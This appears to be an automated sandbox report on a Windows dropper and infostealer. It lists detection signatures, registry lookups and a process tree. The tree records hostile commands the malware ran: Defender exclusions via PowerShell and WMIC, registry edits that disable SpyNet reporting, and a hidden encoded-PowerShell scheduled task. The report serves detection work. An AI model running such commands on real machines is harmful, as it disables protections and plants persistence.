djvu | 56a461a6cc8ad9c10cdc1d19a12d5deceb9ebefb0c871a3fc2eb83c466947a11

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8790423.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3224689.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3224689.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8790423.scr

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation	Sun1917b8fb5f09db8.exe

Loads dropped DLL 8 IoCs

pid	Process
3420	setup_install.exe
3420	setup_install.exe
3420	setup_install.exe
3420	setup_install.exe
3420	setup_install.exe
4240	Sun1966fb31dd5a07.tmp
672	Sun19eb40faaaa9.exe
672	Sun19eb40faaaa9.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
8196	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral5/files/0x00040000000155ab-258.dat	themida
behavioral5/files/0x00040000000155ab-263.dat	themida
behavioral5/memory/2824-314-0x00000000012D0000-0x00000000012D1000-memory.dmp	themida
behavioral5/memory/4924-313-0x0000000001000000-0x0000000001001000-memory.dmp	themida

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3224689.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	8790423.scr

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 11 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
155	ipinfo.io
156	ipinfo.io
300	ipinfo.io
393	api.2ip.ua
492	api.2ip.ua
389	api.2ip.ua
11	ip-api.com
37	ipinfo.io
39	ipinfo.io
237	ip-api.com
301	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4924	8790423.scr
2824	3224689.scr

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4988 set thread context of 4208	4988	4750799.scr	125
PID 1296 set thread context of 4900	1296	tmp4377_tmp.exe	122

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 11 IoCs

pid	pid_target	Process	procid_target
5096	2356	WerFault.exe	90
4256	4988	WerFault.exe	108
5388	2356	WerFault.exe	90
4088	4576	WerFault.exe	117
5924	2356	WerFault.exe	90
5300	5552	WerFault.exe	147
2952	2356	WerFault.exe	90
6052	4780	WerFault.exe	120
2844	4780	WerFault.exe	120
6336	4780	WerFault.exe	120
6520	2372	WerFault.exe	131

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun1908b94df837b3158.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun1908b94df837b3158.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun1908b94df837b3158.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Sun19eb40faaaa9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Sun19eb40faaaa9.exe

Creates scheduled task(s) 1 TTPs 17 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
3180	schtasks.exe
3356	schtasks.exe
6120	schtasks.exe
4296	schtasks.exe
2260	schtasks.exe
6212	schtasks.exe
7656	schtasks.exe
8240	schtasks.exe
7960	schtasks.exe
7276	schtasks.exe
7224	schtasks.exe
6648	schtasks.exe
6788	schtasks.exe
8512	schtasks.exe
5452	schtasks.exe
8452	schtasks.exe
7620	schtasks.exe

Delays execution with timeout.exe 6 IoCs

evasion

pid	Process
7680	timeout.exe
7228	timeout.exe
7432	timeout.exe
7932	timeout.exe
7044	timeout.exe
9032	timeout.exe

Kills process with taskkill 6 IoCs

evasion

pid	Process
8232	taskkill.exe
4492	taskkill.exe
4720	taskkill.exe
8008	taskkill.exe
5212	taskkill.exe
7776	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Sun19262b9e49ad.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Sun19262b9e49ad.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	17	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3788	Sun1908b94df837b3158.exe
3788	Sun1908b94df837b3158.exe
1824	postback.exe
1824	postback.exe
1824	postback.exe
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
2724	Process not Found
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
2724	Process not Found
2724	Process not Found
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3788	Sun1908b94df837b3158.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	3880	Sun19262b9e49ad.exe
Token: SeAssignPrimaryTokenPrivilege	3880	Sun19262b9e49ad.exe
Token: SeLockMemoryPrivilege	3880	Sun19262b9e49ad.exe
Token: SeIncreaseQuotaPrivilege	3880	Sun19262b9e49ad.exe
Token: SeMachineAccountPrivilege	3880	Sun19262b9e49ad.exe
Token: SeTcbPrivilege	3880	Sun19262b9e49ad.exe
Token: SeSecurityPrivilege	3880	Sun19262b9e49ad.exe
Token: SeTakeOwnershipPrivilege	3880	Sun19262b9e49ad.exe
Token: SeLoadDriverPrivilege	3880	Sun19262b9e49ad.exe
Token: SeSystemProfilePrivilege	3880	Sun19262b9e49ad.exe
Token: SeSystemtimePrivilege	3880	Sun19262b9e49ad.exe
Token: SeProfSingleProcessPrivilege	3880	Sun19262b9e49ad.exe
Token: SeIncBasePriorityPrivilege	3880	Sun19262b9e49ad.exe
Token: SeCreatePagefilePrivilege	3880	Sun19262b9e49ad.exe
Token: SeCreatePermanentPrivilege	3880	Sun19262b9e49ad.exe
Token: SeBackupPrivilege	3880	Sun19262b9e49ad.exe
Token: SeRestorePrivilege	3880	Sun19262b9e49ad.exe
Token: SeShutdownPrivilege	3880	Sun19262b9e49ad.exe
Token: SeDebugPrivilege	3880	Sun19262b9e49ad.exe
Token: SeAuditPrivilege	3880	Sun19262b9e49ad.exe
Token: SeSystemEnvironmentPrivilege	3880	Sun19262b9e49ad.exe
Token: SeChangeNotifyPrivilege	3880	Sun19262b9e49ad.exe
Token: SeRemoteShutdownPrivilege	3880	Sun19262b9e49ad.exe
Token: SeUndockPrivilege	3880	Sun19262b9e49ad.exe
Token: SeSyncAgentPrivilege	3880	Sun19262b9e49ad.exe
Token: SeEnableDelegationPrivilege	3880	Sun19262b9e49ad.exe
Token: SeManageVolumePrivilege	3880	Sun19262b9e49ad.exe
Token: SeImpersonatePrivilege	3880	Sun19262b9e49ad.exe
Token: SeCreateGlobalPrivilege	3880	Sun19262b9e49ad.exe
Token: 31	3880	Sun19262b9e49ad.exe
Token: 32	3880	Sun19262b9e49ad.exe
Token: 33	3880	Sun19262b9e49ad.exe
Token: 34	3880	Sun19262b9e49ad.exe
Token: 35	3880	Sun19262b9e49ad.exe
Token: SeDebugPrivilege	3912	Sun191101c1aaa.exe
Token: SeDebugPrivilege	2836	Sun19e4ade31b2a.exe
Token: SeDebugPrivilege	2856	Sun195a1614ec24e6a.exe
Token: SeDebugPrivilege	1824	postback.exe
Token: SeDebugPrivilege	424	Sun198361825f4.exe
Token: SeDebugPrivilege	4596	2036975.scr
Token: SeShutdownPrivilege	2724	Process not Found
Token: SeCreatePagefilePrivilege	2724	Process not Found
Token: SeShutdownPrivilege	2724	Process not Found
Token: SeCreatePagefilePrivilege	2724	Process not Found
Token: SeShutdownPrivilege	2724	Process not Found
Token: SeCreatePagefilePrivilege	2724	Process not Found
Token: SeShutdownPrivilege	2724	Process not Found
Token: SeCreatePagefilePrivilege	2724	Process not Found
Token: SeShutdownPrivilege	2724	Process not Found
Token: SeCreatePagefilePrivilege	2724	Process not Found
Token: SeRestorePrivilege	5096	WerFault.exe
Token: SeBackupPrivilege	5096	WerFault.exe
Token: SeDebugPrivilege	2956	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	4576	2.exe
Token: SeShutdownPrivilege	2724	Process not Found
Token: SeCreatePagefilePrivilege	2724	Process not Found
Token: SeShutdownPrivilege	2724	Process not Found
Token: SeCreatePagefilePrivilege	2724	Process not Found
Token: SeShutdownPrivilege	2724	Process not Found
Token: SeCreatePagefilePrivilege	2724	Process not Found
Token: SeDebugPrivilege	4988	4750799.scr
Token: SeShutdownPrivilege	2724	Process not Found
Token: SeCreatePagefilePrivilege	2724	Process not Found
Token: SeShutdownPrivilege	2724	Process not Found

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2724	Process not Found

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
2724	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1764 wrote to memory of 4048	1764	setup_x86_x64_install.exe	71
PID 1764 wrote to memory of 4048	1764	setup_x86_x64_install.exe	71
PID 1764 wrote to memory of 4048	1764	setup_x86_x64_install.exe	71
PID 4048 wrote to memory of 3420	4048	setup_installer.exe	72
PID 4048 wrote to memory of 3420	4048	setup_installer.exe	72
PID 4048 wrote to memory of 3420	4048	setup_installer.exe	72
PID 3420 wrote to memory of 2752	3420	setup_install.exe	75
PID 3420 wrote to memory of 2752	3420	setup_install.exe	75
PID 3420 wrote to memory of 2752	3420	setup_install.exe	75
PID 3420 wrote to memory of 3292	3420	setup_install.exe	76
PID 3420 wrote to memory of 3292	3420	setup_install.exe	76
PID 3420 wrote to memory of 3292	3420	setup_install.exe	76
PID 3420 wrote to memory of 776	3420	setup_install.exe	101
PID 3420 wrote to memory of 776	3420	setup_install.exe	101
PID 3420 wrote to memory of 776	3420	setup_install.exe	101
PID 3420 wrote to memory of 3744	3420	setup_install.exe	77
PID 3420 wrote to memory of 3744	3420	setup_install.exe	77
PID 3420 wrote to memory of 3744	3420	setup_install.exe	77
PID 3420 wrote to memory of 2812	3420	setup_install.exe	80
PID 3420 wrote to memory of 2812	3420	setup_install.exe	80
PID 3420 wrote to memory of 2812	3420	setup_install.exe	80
PID 3420 wrote to memory of 1412	3420	setup_install.exe	78
PID 3420 wrote to memory of 1412	3420	setup_install.exe	78
PID 3420 wrote to memory of 1412	3420	setup_install.exe	78
PID 3420 wrote to memory of 2304	3420	setup_install.exe	79
PID 3420 wrote to memory of 2304	3420	setup_install.exe	79
PID 3420 wrote to memory of 2304	3420	setup_install.exe	79
PID 3420 wrote to memory of 1008	3420	setup_install.exe	100
PID 3420 wrote to memory of 1008	3420	setup_install.exe	100
PID 3420 wrote to memory of 1008	3420	setup_install.exe	100
PID 3420 wrote to memory of 2260	3420	setup_install.exe	99
PID 3420 wrote to memory of 2260	3420	setup_install.exe	99
PID 3420 wrote to memory of 2260	3420	setup_install.exe	99
PID 2752 wrote to memory of 1824	2752	cmd.exe	95
PID 2752 wrote to memory of 1824	2752	cmd.exe	95
PID 2752 wrote to memory of 1824	2752	cmd.exe	95
PID 3744 wrote to memory of 3936	3744	cmd.exe	96
PID 3744 wrote to memory of 3936	3744	cmd.exe	96
PID 776 wrote to memory of 3880	776	cmd.exe	97
PID 776 wrote to memory of 3880	776	cmd.exe	97
PID 776 wrote to memory of 3880	776	cmd.exe	97
PID 3292 wrote to memory of 3860	3292	cmd.exe	98
PID 3292 wrote to memory of 3860	3292	cmd.exe	98
PID 3292 wrote to memory of 3860	3292	cmd.exe	98
PID 3420 wrote to memory of 2284	3420	setup_install.exe	94
PID 3420 wrote to memory of 2284	3420	setup_install.exe	94
PID 3420 wrote to memory of 2284	3420	setup_install.exe	94
PID 2812 wrote to memory of 2836	2812	JMPHwuLwmK26DrRt1yLUwKah.exe	93
PID 2812 wrote to memory of 2836	2812	JMPHwuLwmK26DrRt1yLUwKah.exe	93
PID 3420 wrote to memory of 3088	3420	setup_install.exe	81
PID 3420 wrote to memory of 3088	3420	setup_install.exe	81
PID 3420 wrote to memory of 3088	3420	setup_install.exe	81
PID 1412 wrote to memory of 3788	1412	cmd.exe	92
PID 1412 wrote to memory of 3788	1412	cmd.exe	92
PID 1412 wrote to memory of 3788	1412	cmd.exe	92
PID 3420 wrote to memory of 856	3420	setup_install.exe	91
PID 3420 wrote to memory of 856	3420	setup_install.exe	91
PID 3420 wrote to memory of 856	3420	setup_install.exe	91
PID 3420 wrote to memory of 4044	3420	setup_install.exe	82
PID 3420 wrote to memory of 4044	3420	setup_install.exe	82
PID 3420 wrote to memory of 4044	3420	setup_install.exe	82
PID 2304 wrote to memory of 2356	2304	cmd.exe	90
PID 2304 wrote to memory of 2356	2304	cmd.exe	90
PID 2304 wrote to memory of 2356	2304	cmd.exe	90

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1764
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4048
- - C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:3420
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2752
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        
        PID:1824
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1917b8fb5f09db8.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3292
    - - C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun1917b8fb5f09db8.exe
        
        Sun1917b8fb5f09db8.exe
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Suspicious behavior: EnumeratesProcesses
        
        PID:3860
      - C:\Users\Admin\Documents\bq2mQE3DNB5Spt1I5n9bgGLt.exe
        
        "C:\Users\Admin\Documents\bq2mQE3DNB5Spt1I5n9bgGLt.exe"
        6⤵
        Executes dropped EXE
        
        PID:4220
      - C:\Users\Admin\Documents\a8__nh3gvvkTUms1BJpncY_E.exe
        
        "C:\Users\Admin\Documents\a8__nh3gvvkTUms1BJpncY_E.exe"
        6⤵
        Executes dropped EXE
        
        PID:3124
        
        C:\Users\Admin\Documents\a8__nh3gvvkTUms1BJpncY_E.exe
        
        C:\Users\Admin\Documents\a8__nh3gvvkTUms1BJpncY_E.exe
        7⤵
        
        PID:5876
        
        C:\Users\Admin\Documents\a8__nh3gvvkTUms1BJpncY_E.exe
        
        C:\Users\Admin\Documents\a8__nh3gvvkTUms1BJpncY_E.exe
        7⤵
        
        PID:6124
      - C:\Users\Admin\Documents\PebQ7ysUfWIYFJV_cc7Yoq30.exe
        
        "C:\Users\Admin\Documents\PebQ7ysUfWIYFJV_cc7Yoq30.exe"
        6⤵
        Executes dropped EXE
        
        PID:1188
      - C:\Users\Admin\Documents\WAqxiQ9sMkjcgT25CZuS4RHj.exe
        
        "C:\Users\Admin\Documents\WAqxiQ9sMkjcgT25CZuS4RHj.exe"
        6⤵
        Executes dropped EXE
        
        PID:4876
        
        C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe
        
        "C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"
        7⤵
        
        PID:7348
        
        C:\Users\Admin\Documents\w55LOnbbnbcAFYhdFKVYPjRd.exe
        
        "C:\Users\Admin\Documents\w55LOnbbnbcAFYhdFKVYPjRd.exe"
        8⤵
        
        PID:7380
        
        C:\Users\Admin\Documents\pt3ubfxrqscOm8BpMcF7PAlA.exe
        
        "C:\Users\Admin\Documents\pt3ubfxrqscOm8BpMcF7PAlA.exe"
        8⤵
        
        PID:1600
        
        C:\Users\Admin\AppData\Local\Temp\7zS573F.tmp\Install.exe
        
        .\Install.exe
        9⤵
        
        PID:6864
        
        C:\Users\Admin\AppData\Local\Temp\7zS58C6.tmp\Install.exe
        
        .\Install.exe /S /site_id "668658"
        10⤵
        
        PID:7636
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
        11⤵
        
        PID:8884
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
        12⤵
        
        PID:8268
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
        13⤵
        
        PID:8204
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
        14⤵
        
        PID:8664
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
        15⤵
        
        PID:8648
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
        12⤵
        
        PID:4160
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
        13⤵
        
        PID:7452
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
        14⤵
        
        PID:2468
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
        15⤵
        
        PID:8808
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        11⤵
        
        PID:8388
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        12⤵
        
        PID:8040
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        13⤵
        
        PID:4776
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        13⤵
        
        PID:9136
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        11⤵
        
        PID:4244
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        12⤵
        
        PID:2428
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        13⤵
        
        PID:9116
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        13⤵
        
        PID:9208
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gMlAecdJH" /SC once /ST 00:15:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        11⤵
        Creates scheduled task(s)
        
        PID:8240
        
        C:\Windows\SysWOW64\schtasks.exe
        
